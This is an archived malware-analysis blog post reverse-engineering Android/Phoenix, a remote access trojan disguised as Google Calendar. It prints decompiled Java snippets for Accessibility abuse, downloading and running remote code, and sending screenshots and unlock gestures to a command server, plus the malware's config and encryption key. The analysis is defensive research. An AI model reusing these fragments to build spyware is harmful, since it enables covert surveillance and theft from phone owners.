{
	"id": "ef6ace0f-a118-454e-ab15-8e64eb04cc9e",
	"created_at": "2026-04-06T00:15:35.933278Z",
	"updated_at": "2026-04-10T13:11:51.772944Z",
	"deleted_at": null,
	"sha1_hash": "fdb1334da1e1403522660d6432c5e2da369204ec",
	"title": "Reverse engineering of Android/Phoenix",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1117954,
	"plain_text": "Reverse engineering of Android/Phoenix\r\nBy @cryptax\r\nPublished: 2024-05-13 · Archived: 2026-04-05 19:24:44 UTC\r\nAndroid/Phoenix is a malicious Remote Access Tool. Its main goal is to extensively spy on the victim’s phone\r\n(grab all screenshots, steal the unlock gesture etc). The attacker controls the infected phone via various predefined\r\ncommands sent on a websocket.\r\nThis blog post contains the reverse engineering of sample\r\n6485ead2248298b48d4e677d3fb740b8ce8688bc7b4adb7a4d2ac3af827da46b of mid January 2024. The sample\r\nposes as a Google Calendar application.\r\nUpdate May 13, 2024. @TuringAlex shared leaked sources of Phoenix Android applications and C2 panel. Was\r\nable to confirm my reverse engineering is correct 😉\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 1 of 14\n\nThe malware poses as a Google Calendar application and asks the user to enable Accessibility for it.\r\nOverview with DroidLysis\r\nDroidLysis finds the package name and the main activity… but actually there are 2 potential main activities:\r\nfake and IndexACT .\r\nDroidLysis says the sample isn’t packed, but it uses DexClassLoader and ClassLoader . This usually happens\r\nwhen a remote DEX is downloaded and installed.\r\nThe sample uses the Accessibility API ( com/service/app/Services/Access ), Device Administrator API\r\n( com/service/app/Main/ReceiverDeviceAdmin ), encryption ( com/service/app/Bundle/stringDecrypter ),\r\npresumably disables doze mode ( com/service/app/Services/utils ), steals incoming SMS and discusses with a\r\nremote server.\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 2 of 14\n\nPress enter or click to view image in full size\r\nDroidLysis identifies the remote server: 135.181.11.14 .\r\nStartup\r\nStatic reverse engineering shows that fake is a fake activity that loads an URL hxxps://calendar.pioneer-team.com (non malicious on Feb 5, 2024), while the real malicious code starts from IndexACT .\r\nThe malware starts:\r\n- AccessActivity . As expected, the activity requests access to the Accessibility API. The page it displays is\r\nloaded as a WebView , whose HTML content is base64 decoded from a hard-coded resource string.\r\nComponentName componentName0 = new ComponentName(context0, class0);\r\n String s = Settings.Secure.getString(context0.getContentResolver(), “enabled_accessibility_services”\r\n if(s == null) {\r\n return false;\r\n }\r\n…\r\nwebView0.addJavascriptInterface(new WebAppInterface(this, this), this.consts.string_1);\r\nString s = this.getString(string.access);\r\ntry {\r\n webView0.loadDataWithBaseURL(null, new String(Base64.decode(s, 0), this.consts.strUTF_8), this.const\r\n this.setContentView(webView0);\r\n}\r\n- HintService . This service displays a Notification to ask the victim to grant access to the Accessibility API.\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 3 of 14\n\nNotification.Builder notification$Builder0 = new Notification.Builder(HintService.this.getApplication\r\nIntent intent0 = new Intent(HintService.this.getApplicationContext(), AccessActivity.class).addFlags\r\nintent0.putExtra(“fromNotification”, true);\r\nintent0.addFlags(0x20000000);\r\nnotification$Builder0.setContentIntent(PendingIntent.getActivity(HintService.this.getApplicationConte\r\nNotification notification0 = notification$Builder0.build();\r\nnotification0.flags |= 0x20;\r\nnotifmgr.notify(0x30E, notification0);\r\n- kingservice . This is usually related to KingRoot, an Android rooting application. In this case however it is not\r\nrelated to KingRoot and is used to start the malicious tasks of the malware. It starts a SMS receiver\r\n( smsreceiver ) which will log incoming SMS, and a boot receiver ( BootReceiverService ) which monitors if\r\nthe victim is in front of his/her smartphone or not.\r\nif(intent0.getAction().equals(“android.intent.action.SCREEN_OFF”)) {\r\n EndlessService.utl.SettingsWrite(context0, “userPresent”, “0”);\r\n return;\r\n}\r\nif(intent0.getAction().equals(\"android.intent.action.USER_PRESENT\")) {\r\n EndlessService.utl.SettingsWrite(context0, \"userPresent\", \"1\");\r\n}\r\nBesides SMS receiver and Boot Receiver, the main malicious tasks started by kingservice are in\r\nApp.runMainTasks .\r\nIt starts communication with the remote server ( Netmanager service), requests device administrator rights\r\n( AccessAdm activity), locks the device (by a call to lockNow () of DevicePolicyManager ), and requests victim\r\nto ignore battery optimizations.\r\nCommunication with the remote server\r\nThe malware communicates to a remote server 135.181.11.14 via 2 different channels:\r\n1. Via HTTP, on port 4000.\r\n2. Via a web socket, on port 8000\r\nBoth ports do not respond any longer.\r\nHTTP communication\r\nThe malware sends an HTTP GET request to hxxp://135.181.11.14:4000/gate.php .\r\n public String httpRequest(Context context0, String s) {\r\n String s1 = this.SettingsRead(context0, this.consts.urlAdminPanel);\r\n this.Log(“Connect”, “” + s1);\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 4 of 14\n\nreturn new RequestHttp().sendRequest(s1 + this.consts.str_gate, s);\r\n }\r\nThe action to perform and data to send are provided as arguments to the GET request.\r\nFor example, when the malware checks the remote server is available, it contacts\r\nhxxp://135.181.11.14:4000/gate.php?action=botcheck\u0026data=ENCRYPTED_DATA .\r\nGet @cryptax’s stories in your inbox\r\nJoin Medium for free to get updates from this writer.\r\nRemember me for faster sign in\r\nThe victim’s data is encrypted with RC4 (key is podEID53t29v ) + RC4.\r\nData is a JSON object with several entries:\r\nbot id\r\nvictim’s phone number\r\nif the malware is device administrator or not\r\nif the victim has enabled Play Protect or not\r\nif key guard is enabled or not\r\nif Accessibility API was enabled or not\r\nif the malware is set as the default SMS app or not\r\nbattery level\r\nif the remote DEX was downloaded or not. Indeed, a remote DEX will be downloaded, installed and\r\ndynamically run on the victim’s phone.\r\nThis is the piece of code which downloads a base64 encoded DEX.\r\npublic void downloadModuleDex(Context context0, String bot_id) {\r\n JSONObject json = new JSONObject();\r\n try {\r\n json.put(“idbot”, bot_id);\r\n }\r\n catch(JSONException unused_ex) { }\r\n String response = this.trafDeCr(this.httpRequest(context0, this.consts.str_downloaddex_action + thi\r\n this.Log(“downloadModuleDex”, “Download Module: “+ response.length());\r\n if(response.length() \u003e 10000) {\r\n this.Log(“downloadModuleDex”, “Save Module”);\r\n byte[] arr_b = Base64.decode(response.getBytes(), 0);\r\n try {\r\n FileOutputStream fileOutputStream0 = new FileOutputStream(new File(context0.getDir(this.consts.s\r\n fileOutputStream0.write(arr_b);\r\n fileOutputStream0.close();\r\n this.SettingsWrite(context0, “statDownloadModule”, “1”);\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 5 of 14\n\n}\r\n…\r\nPress enter or click to view image in full size\r\nURL for malware to report information to the C2. In the sample I analyzed, the sendKeylogger,\r\nsendSmsLog and sendInjectionLogs actions did not seem to be used.\r\nIn the sample, I analyzed the actions sendKeylogger , sendSmsLog and sendInjectionLogs . They are called\r\nfrom the downloaded DEX only.\r\nPress enter or click to view image in full size\r\nThe logs are encrypted and sent via HTTP. The method sendLogsKeylogger is not called by the\r\nmain DEX. It is called by the remotely downloadable DEX.\r\nWeb socket communication\r\nSome other information are sent to a remote server’s web socket.\r\nPress enter or click to view image in full size\r\nWeb socket URLs\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 6 of 14\n\nFor example, this is how the malware steals the phone’s unlock gesture:\r\nJSONObject json = new JSONObject();\r\njson.put(“id”, Access.this.id_bot);\r\njson.put(“date”, simpleDateFormat0.format(date0));\r\njson.put(“type”, “unlock”);\r\njson.put(“text”, Access.this.gestureTexts.toString());\r\njson.put(“gesture”, Access.this.currenGestureRecroding.toString());\r\nJSONArray jSONArray0 = new JSONArray();\r\nAccess.this.gestureTexts = jSONArray0;\r\nif(Access.this.consts.ssl.booleanValue()) {\r\n Access.this.sendPostRequest(“https:\r\n}\r\nelse {\r\n Access.this.sendPostRequest(“http:\r\n}\r\nBot commands\r\nThe botmaster issues commands on the web socket, which start or stop various tasks on the device.\r\nPress enter or click to view image in full size\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 7 of 14\n\nNon exhaustive list of commands the bot master can issue through the web socket.\r\nDetails of screen capture\r\nThe screen capture service is started by bot master command start_vnc . This sends a custom action\r\ncom.app.START_CAPTURE to the CaptureService :\r\nprivate void startCaptureService() {\r\n Intent intent0 = new Intent(this, CaptureService.class);\r\n intent0.setAction(“com.app.START_CAPTURE”);\r\n if(Build.VERSION.SDK_INT \u003e= 26) {\r\n this.startForegroundService(intent0);\r\n return;\r\n }\r\n this.startService(intent0);\r\n}\r\nWhen the CaptureService receives the action, it starts a CaptureActivity :\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 8 of 14\n\npublic int onStartCommand(Intent intent0, int v, int v1) {\r\n if(“com.app.START_CAPTURE”.equals(intent0.getAction())) {\r\n this.startForeground(1, this.createNotification());\r\n Intent intent1 = new Intent(this, CaptureActivity.class);\r\n intent1.addFlags(0x10008000);\r\n this.startActivity(intent1);\r\n return 2;\r\n }\r\n …\r\nThe capture activity implements a OnImageAvailableListener , which takes a screenshot each time a new image\r\nis created (this is a better idea than randomly taking a screenshot every x seconds regardless of activity). The\r\nimage is Base64 encoded and broadcasted as a com.app.SCREEN_CAPTURE intent.\r\nprivate void sendBroadcast(String s) {\r\n Intent intent0 = new Intent(“com.app.SCREEN_CAPTURE”);\r\n intent0.putExtra(“base64Image”, s);\r\n LocalBroadcastManager.getInstance(this).sendBroadcast(intent0);\r\n}\r\nThe message is received by a screenCaptureReceiver which sends the image to the websocket:\r\nthis.screenCaptureReceiver = new BroadcastReceiver() {\r\n @Override\r\n public void onReceive(Context context0, Intent intent) {\r\n String base64img = intent.getStringExtra(“base64Image”);\r\n if(base64img != “”) {\r\n JSONObject jSONObject0 = new JSONObject();\r\n try {\r\n jSONObject0.put(“bot”, Access.this.id_bot);\r\n jSONObject0.put(“image”, base64img);\r\n }\r\n…\r\n if(Access.this.consts.ssl.booleanValue()) {\r\n Access.this.sendPostRequest(“https:\r\n return;\r\n }\r\n …\r\n};\r\nShared Settings\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 9 of 14\n\nThe malware uses a shared preferences file to store its configuration.\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 10 of 14\n\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 11 of 14\n\nNon exhaustive list of shared preferences file\r\nIn utils :\r\nthis.SettingsWrite(context0, this.consts.packageNameActivityInject, ViewManager.class.getCanonicalNam\r\nthis.SettingsWrite(context0, this.consts.logsContacts, this.consts.str_null);\r\nthis.SettingsWrite(context0, this.consts.logsSavedSMS, this.consts.str_null);\r\nthis.SettingsWrite(context0, this.consts.logsApplications, this.consts.str_null);\r\nthis.SettingsWrite(context0, this.consts.killApplication, this.consts.str_null);\r\nthis.SettingsWrite(context0, this.consts.urls, this.consts.str_null);\r\nthis.SettingsWrite(context0, this.consts.getPermissionsToSMS, this.consts.str_null);\r\nthis.SettingsWrite(context0, this.consts.startInstalledTeamViewer, this.consts.str_null);\r\nthis.SettingsWrite(context0, this.consts.schetBootReceiver, this.consts.str_step);\r\nthis.SettingsWrite(context0, this.consts.schetAdmin, this.consts.str_step);\r\nthis.SettingsWrite(context0, this.consts.day1PermissionSMS, this.consts.str_1);\r\nthis.SettingsWrite(context0, this.consts.string_138, this.consts.str_null);\r\nthis.SettingsWrite(context0, this.consts.start_admin, this.consts.str_1);\r\nthis.SettingsWrite(context0, this.consts.undead, “0”);\r\nthis.SettingsWrite(context0, “protecttry”, this.consts.str_null);\r\nthis.SettingsWrite(context0, “firststart”, this.consts.str_1);\r\nthis.SettingsWrite(context0, “inj_start”, “0”);\r\nthis.SettingsWrite(context0, “old_start_inj”, “0”);\r\nthis.SettingsWrite(context0, “app_inject”, “”);\r\nthis.SettingsWrite(context0, “nameInject”, “”);\r\n…\r\n```\r\nAt startup, the settings are:\r\n\u003cmap\u003e\r\n \u003cstring name=\"timeCC\"\u003e-1\u003c/string\u003e\r\n \u003cstring name=\"old_start_inj\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"arrayInjection\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"actionSettingInection\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"statBanks\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"installapk\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"sms_sdk_Q\"\u003ecom.service.app.Main.SMSManager\u003c/string\u003e\r\n \u003cstring name=\"checkupdateInjection\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"timeSinceKnock\"\u003e2024-02-06 13:57:07\u003c/string\u003e\r\n \u003cstring name=\"endlessServiceStatus\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"websocket\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"starterService\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"undead\"\u003e0\u003c/string\u003e\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 12 of 14\n\n\u003cstring name=\"tag\"\u003ephoenix_0401\u003c/string\u003e\r\n \u003cstring name=\"statProtect\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"logsSavedSMS\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"logsApplications\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"start_admin\"\u003e1\u003c/string\u003e\r\n \u003cstring name=\"protecttry\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"getPermissionsToSMS\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"packageNameActivityInject\"\u003ecom.service.app.Main.ViewManager\u003c/\r\nstring\u003e\r\n \u003cstring name=\"lockDevice\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"activityAccessibilityVisible\"\u003e1\u003c/string\u003e\r\n \u003cstring name=\"startInstalledTeamViewer\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"paranoid\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"whileStartUpdateInection\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"hiddenSMS\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"schetAdmin\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"urlAdminPanel\"\u003ehttp://135.181.11.14:4000\u003c/string\u003e\r\n \u003cstring name=\"firststart\"\u003e1\u003c/string\u003e\r\n \u003cstring name=\"idbot\"\u003e5uir\u003c/string\u003e\r\n \u003cstring name=\"statCards\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"timeProtect\"\u003e-1\u003c/string\u003e\r\n \u003cstring name=\"inj_start\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"unlock_pass_found\"\u003etrue\u003c/string\u003e\r\n \u003cstring name=\"app_inject\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"display_width\"\u003e1080\u003c/string\u003e\r\n \u003cstring name=\"logsContacts\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"checkProtect\"\u003e2\u003c/string\u003e\r\n \u003cstring name=\"miuiperm\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"offSound\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"urls\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"activeInjection\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"statDownloadModule\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"getIdentifier\"\u003e2131492865\u003c/string\u003e\r\n \u003cstring name=\"statusInstall\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"schetBootReceiver\"\u003e3\u003c/string\u003e\r\n \u003cstring name=\"initialization\"\u003egood\u003c/string\u003e\r\n \u003cstring name=\"packageName\"\u003ecom.application.chronme\u003c/string\u003e\r\n \u003cstring name=\"key\"\u003epodEID53t29v\u003c/string\u003e\r\n \u003cstring name=\"startpush\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"timeInject\"\u003e-1\u003c/string\u003e\r\n \u003cstring name=\"killApplication\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"dataKeylogger\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"timeMails\"\u003e-1\u003c/string\u003e\r\n \u003cstring name=\"LogSMS\"\u003eKingService: Service started::endLog::\u003c/string\u003e\r\n \u003cstring name=\"idSettings\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"kill\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"statAdmin\"\u003e0\u003c/string\u003e\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 13 of 14\n\n\u003cstring name=\"autoClick\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"timesAdminPerm\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"packageNameDefultSmsMenager\"\u003ecom.google.android.apps.messagin\r\ng\u003c/string\u003e\r\n \u003cstring name=\"timestop\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"keylogger\"\u003e1\u003c/string\u003e\r\n \u003cstring name=\"activeDevice\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"statMails\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"display_height\"\u003e1794\u003c/string\u003e\r\n \u003cstring name=\"userPresent\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"step\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"day1PermissionSMS\"\u003e1\u003c/string\u003e\r\n \u003cstring name=\"statAccessibilty\"\u003e0\u003c/string\u003e\r\n \u003cstring name=\"listSaveLogsInjection\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"goOffProtect\"\u003e\u003c/string\u003e\r\n \u003cstring name=\"timeWorking\"\u003e55\u003c/string\u003e\r\n \u003cstring name=\"nameInject\"\u003e\u003c/string\u003e\r\n\u003c/map\u003e\r\n— the Crypto Girl\r\nSource: https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nhttps://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3"
	],
	"report_names": [
		"reverse-engineering-of-android-phoenix-b59693c03bd3"
	],
	"threat_actors": [],
	"ts_created_at": 1775434535,
	"ts_updated_at": 1775826711,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/fdb1334da1e1403522660d6432c5e2da369204ec.pdf",
		"text": "https://archive.orkl.eu/fdb1334da1e1403522660d6432c5e2da369204ec.txt",
		"img": "https://archive.orkl.eu/fdb1334da1e1403522660d6432c5e2da369204ec.jpg"
	}
}